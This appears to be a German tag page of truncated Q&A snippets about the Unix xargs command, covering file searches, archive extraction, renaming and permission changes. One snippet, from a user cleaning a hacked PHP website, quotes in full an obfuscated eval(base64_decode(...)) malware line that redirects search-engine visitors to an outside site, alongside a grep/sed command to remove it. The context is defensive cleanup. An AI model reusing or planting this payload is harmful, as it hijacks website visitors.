Dienstprogramm in Unix-ähnlichen Betriebssystemen zum Übergeben einer großen Anzahl von Argumenten an Programme, die nur eine kleine Anzahl von Argumenten annehmen können
Grüße Emacsers Ich verwende GNU Emacs 23.1.1 unter "Ubuntu 10.04.1 LTS" und jede Suche, die ich mit dem integrierten Mx rgrep im Standard-Linux-Kernel-Quellcode (Vanille) durchführe, endet vorzeitig mit dem folgenden Fehler, der auf dem Emacs-Echo gedruckt wird Bereich: Grep exited abnormally with code 123 Ich habe es schon eine Weile …
Ich habe einen großen Ordner mit RAR-Archiven. Es gibt eine signifikante Hierarchie von Ordnerebenen. Ich möchte die gesamte Archivsammlung auf einmal entlarven. Ich habe den folgenden Einzeiler, der funktionieren wird: find -name "*.rar" -print0 | xargs -0 -n 1 -P 4 unrar x (Beachten Sie, dass wir vier Threads gleichzeitig …
Ich versuche, die Befehle auf http://devilsworkshop.org/tutorial/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/55587/ zu verwenden, um einen PHP-basierten Hack zu bereinigen auf einer Website. Beispielcode zum Abgleichen / Entfernen <?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOwokcWF6cGxtPWhlYWRlcnNfc2VudCgpOwppZiAoISRxYXpwbG0pewokcmVmZXJlcj0kX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107CiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOwppZiAoJHVhZykgewppZiAoIXN0cmlzdHIoJHVhZywiTVNJRSA3LjAiKSBhbmQgIXN0cmlzdHIoJHVhZywiTVNJRSA2LjAiKSl7CmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbS9sIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYW9sLmNvbSIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly9sb29wZG93bi5sZmxpbmt1cC5jb20vIik7CmV4aXQoKTsKfQp9Cn0KfQp9")); Versuchter Befehl: sudo grep -lr --include=*.php "eval(base64_decode" /home/user/webdir | sudo xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' Das Sudo wurde hinzugefügt, da es eine Lese- / Schreibberechtigung für …
Zum Beispiel habe ich die folgenden Dateien: ./dirA/fileA.png ./dirA/fileB.png ./dirA/fileC.png ./dirB/fileD.png ./dirB/fileE.png ./dirB/dirC/fileF.png Gibt es einen einzeiligen Befehl oder ein Skript, um den Dateinamen wie folgt umzubenennen? ./dirA/fileA@2x.png ./dirA/fileB@2x.png ./dirA/fileC@2x.png ./dirB/fileD@2x.png ./dirB/fileE@2x.png ./dirB/dirC/fileF@2x.png
Wie ändere ich die Attribute aller Symlink-Ziele in einem Verzeichnis? /usr/bin/find /mydir -type l | xargs /bin/readlink | /usr/bin/chattr +s Piping drei Befehle funktioniert nicht. Vielen Dank.
Ich habe ein Verzeichnis und viele weitere Unterverzeichnisse wie das folgende - file with spaces.txt filewithsuperlonglines.txt ordinaryfile.txt binaryfile.bin Der Befehl - finden . -Typ f -print0 | xargs -0 Datei | grep text | grep -v long | cut -d: -f1 Erzeugt die richtige Liste von Dateien (dh Textdateien, die …
Ich versuche, die Ausgabe von youtube-dl an zu leiten, xargsda ich die heruntergeladene Datei mit dem Titel benennen möchte, der aus dem ersten Befehl extrahiert wurde. Ich habe jedoch Probleme damit. Der Befehl, den ich benutze, ist wie folgt; youtube-dl --get-title "Youtube URI" | xargs youtube-dl -o {} "YouTube URI"
Was machen diese beiden Zeilen? find /backup/folder -type d|xargs chmod 770 find /backup/folder -type f|xargs chmod 660 Ich habe herumgegoogelt, kann aber nicht herausfinden, was d|xargsund f|xargstut.
instancesenthält, wie auch, mehrere durch Leerzeichen getrennte Zeichenfolgen snapshots. Ich möchte den folgenden Befehl mit jedem Instanz-Snapshot-Paar ausführen. ec2-attach-volume --instance $instances --device /dev/sdf $snapshots Wenn beispielsweise instancesenthält A B Cund snapshotsenthält 1 2 3, möchte ich, dass der Befehl folgendermaßen aufgerufen wird: ec2-attach-volume -C cert.pem -K pk.pem --instance A --device …
Ich möchte eine Gruppe von Dateien in den Zielordner kopieren. Aber ohne eine neue Instanz von erzeugen zu müssen cp für jede Operation. Das arg-Format für cp scheint zu sein: cp src_file1 src_file2 src_file3 dest_dir/ Angenommen, ich habe eine Datei, in der die Namen der Quelldateien Zeile für Zeile aufgeführt …
Ich habe einen Server, der einige Zahlen ausgibt, ich lese sie mit socat, verwandle sie dann mit sed in einige mathematische Gleichungen, ich führe sie mit bc aus, dann muss ich sie in xargs umleiten. socat -u udp-recv:10552,reuseaddr,crnl - | sed -u s/.*/1+1/ | bc | xargs echo Die obige …
Ich habe zwei Dateien, team1.txt und team2.txt team1.txt =========== Alex Bob Charlie David team2.txt =========== Alex Charlie Benjamin Zed Noah Ich möchte die Leute, die in Team1 und Team2 sind, mit einem Unix-Befehl ausgeben. $ cat team1.txt | xargs grep -s team2.txt -e team2.txt:Alex Das Problem ist, dass dies falsch …
Angenommen, ich habe eine list.txtder Dateien, die ich überprüfen möchte. cat list.txt und für jede Datei möchte ich eine Aktion ausführen cat list.txt | xargs -I {} touch {} Aber je nach Ausgang der Aktion möchte ich entsprechend reagieren: cat list.txt | xargs -I {} touch {} | if [-z …
We use cookies and other tracking technologies to improve your browsing experience on our website,
to show you personalized content and targeted ads, to analyze our website traffic,
and to understand where our visitors are coming from.
By continuing, you consent to our use of cookies and other tracking technologies and
affirm you're at least 16 years old or have consent from a parent or guardian.